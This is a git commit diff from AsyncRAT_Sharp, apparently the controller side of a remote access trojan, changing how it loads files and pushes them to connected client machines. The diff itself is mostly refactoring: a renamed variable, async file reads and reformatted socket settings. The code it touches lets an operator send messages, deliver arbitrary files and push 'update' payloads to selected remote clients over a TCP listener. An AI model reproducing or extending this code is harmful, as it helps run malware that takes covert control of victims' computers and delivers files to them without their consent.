Using await fs.ReadAsync 'MsgPack'
This commit is contained in:
NYAN CAT 2019-02-06 09:01:49 -08:00
parent cda9bb7d43
commit 5a3225eecf
3 changed files with 15 additions and 15 deletions

View File

@ -110,14 +110,14 @@ namespace AsyncRAT_Sharp
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
string URL = Interaction.InputBox("Message", "Message", "Hello World!"); string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!");
if (string.IsNullOrEmpty(URL)) if (string.IsNullOrEmpty(Msgbox))
return; return;
else else
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "sendMessage"; msgpack.ForcePathObject("Packet").AsString = "sendMessage";
msgpack.ForcePathObject("Message").AsString = URL; msgpack.ForcePathObject("Message").AsString = Msgbox;
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
Task.Run(() => Task.Run(() =>
@ -130,7 +130,7 @@ namespace AsyncRAT_Sharp
} }
} }
private void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e) private async void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
@ -141,12 +141,12 @@ namespace AsyncRAT_Sharp
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "sendFile"; msgpack.ForcePathObject("Packet").AsString = "sendFile";
msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName); await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
msgpack.ForcePathObject("Update").AsString = "false"; msgpack.ForcePathObject("Update").AsString = "false";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
Task.Run(() => await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes()); CL.BeginSend(msgpack.Encode2Bytes());
@ -179,7 +179,7 @@ namespace AsyncRAT_Sharp
} }
} }
private void uPDATEToolStripMenuItem_Click(object sender, EventArgs e) private async void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
@ -190,12 +190,12 @@ namespace AsyncRAT_Sharp
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "sendFile"; msgpack.ForcePathObject("Packet").AsString = "sendFile";
msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName); await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
msgpack.ForcePathObject("Update").AsString = "true"; msgpack.ForcePathObject("Update").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
Task.Run(() => await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes()); CL.BeginSend(msgpack.Encode2Bytes());

View File

@ -369,14 +369,14 @@ namespace AsyncRAT_Sharp.MessagePack
tmp.SetAsInteger(value); tmp.SetAsInteger(value);
} }
public bool LoadFileAsBytes(string fileName) public async Task<bool> LoadFileAsBytes(string fileName)
{ {
if (File.Exists(fileName)) if (File.Exists(fileName))
{ {
byte[] value = null; byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length]; value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length); await fs.ReadAsync(value, 0, (int)fs.Length);
fs.Close(); fs.Close();
SetAsBytes(value); SetAsBytes(value);
return true; return true;

View File

@ -18,10 +18,10 @@ namespace AsyncRAT_Sharp.Sockets
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port)); IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{ {
SendBufferSize = 50 * 1024, SendBufferSize = 50 * 1024,
ReceiveBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024,
ReceiveTimeout = -1, ReceiveTimeout = -1,
SendTimeout = -1, SendTimeout = -1,
}; };
listener.Bind(IpEndPoint); listener.Bind(IpEndPoint);
listener.Listen(20); listener.Listen(20);